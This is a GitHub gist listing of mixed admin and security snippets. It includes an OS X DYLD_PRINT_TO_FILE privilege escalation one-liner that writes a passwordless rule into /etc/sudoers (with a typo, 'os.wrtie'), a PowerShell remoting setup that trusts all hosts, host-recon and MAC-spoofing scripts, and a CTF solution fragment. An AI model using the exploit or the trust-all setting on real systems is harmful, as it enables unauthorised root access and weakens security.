Skip to content

Instantly share code, notes, and snippets.

View ahhh's full-sized avatar
👾
danger code

Dan Borges ahhh

👾
danger code
View GitHub Profile
@ahhh
ahhh / Enable_PowerShell_Remoting.ps1
Created July 24, 2015 14:18
Enabile PowerShell remoting, trusting all hosts
Enable-PSRemoting –force
winrm quickconfig
Set-Item wsman:\localhost\client\trustedhosts *
restart-service WinRM
@ahhh
ahhh / DYLD_PRINT_TO_FILE.priv_esc.sh
Created July 22, 2015 21:57
OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability: https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html
echo python -c '"import os; os.wrtie(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
@ahhh
ahhh / launch_ami
Last active August 29, 2015 14:24
AWS CLI - Launch a Custom AMI example
ec2-run-instances ami-xxxxxxxx -t t2.medium -k my-key-xxxxx -s subnet-xxxxxxxx -g sg-xxxxxxxx --associate-public-ip-address true
@ahhh
ahhh / psexec_disable_gwx.bat
Created July 6, 2015 04:49
Disable GWX (Get Windows 10) bs prompt w/ psexec
psexec -accepteula -s schtasks /change /tn "\Microsoft\Windows\Setup\GWXTriggers\Logon-10s" /DISABLE
psexec -accepteula -s schtasks /change /tn "\Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-10s" /DISABLE
psexec -accepteula -s schtasks /change /tn "\Microsoft\Windows\Setup\GWXTriggers\OutOfIdle-10s" /DISABLE
psexec -accepteula -s schtasks /change /tn "\Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-10s" /DISABLE
psexec -accepteula -s schtasks /change /tn "\Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B" /DISABLE
psexec -accepteula -s schtasks /change /tn "\Microsoft\Windows\Setup\GWXTriggers\Time-10s" /DISABLE
psexec -accepteula -s schtasks /change /tn "\Microsoft\Windows\Setup\gwx\launchtrayprocess" /DISABLE
psexec -accepteula -s schtasks /change /tn "\Microsoft\Windows\Setup\gwx\refreshgwxconfig" /DISABLE
@ahhh
ahhh / pdo.php
Last active August 29, 2015 14:23
PDO prepared statement example
<?php
// Step 1: Establish a connection
$db = new PDO("mysql:host=localhost;dbname=testdb", "user", "secretpass");
// Step 2: Construct your prepared statement, note the ? for our input
$query = $db->prepare("SELECT * FROM foo WHERE bar = :zip");
// Step 3: bind our paramters to the query
$query->bindParam(':zip', $zip);
// Step 4: execute the query
$query->execute();
// Step 5: Iterate over the results
@ahhh
ahhh / hostcheck.sh
Created May 26, 2015 02:25
Linux based info gather script
#/bin/sh
#Sys Info
echo "----------SYSINFO CHECK----------" > hostcheck.txt
echo "uname -a" >> hostcheck.txt
uname -a >> hostcheck.txt
echo "cat /etc/issue" >> hostcheck.txt
@ahhh
ahhh / Regex Base 64
Created May 20, 2015 19:34
Regex for base 64
^(?:[A-Za-z0-9+\/]{4})*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=)?$
@ahhh
ahhh / SpoofMAC
Last active August 29, 2015 14:21 — forked from kevinwallace/SpoofMAC
#!/bin/sh
. /etc/rc.common
StartService ()
{
ConsoleMessage "Running SpoofMAC script."
/usr/sbin/networksetup -setairportpower en0 on
/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport -z
/sbin/ifconfig en0 ether `python -c 'import random;print ":".join("%02x" % octet for octet in [random.randint(0,64) << 2] + [random.randint(0,127) for _ in range(5)])'`
/usr/sbin/networksetup -detectnewhardware
@ahhh
ahhh / math.py
Last active August 29, 2015 14:21
DefCon CTF 2015 Quals: MathWhiz solution
import socket
HOST = 'mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me'
PORT = 21249
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while(1):
#print s.recv(1024)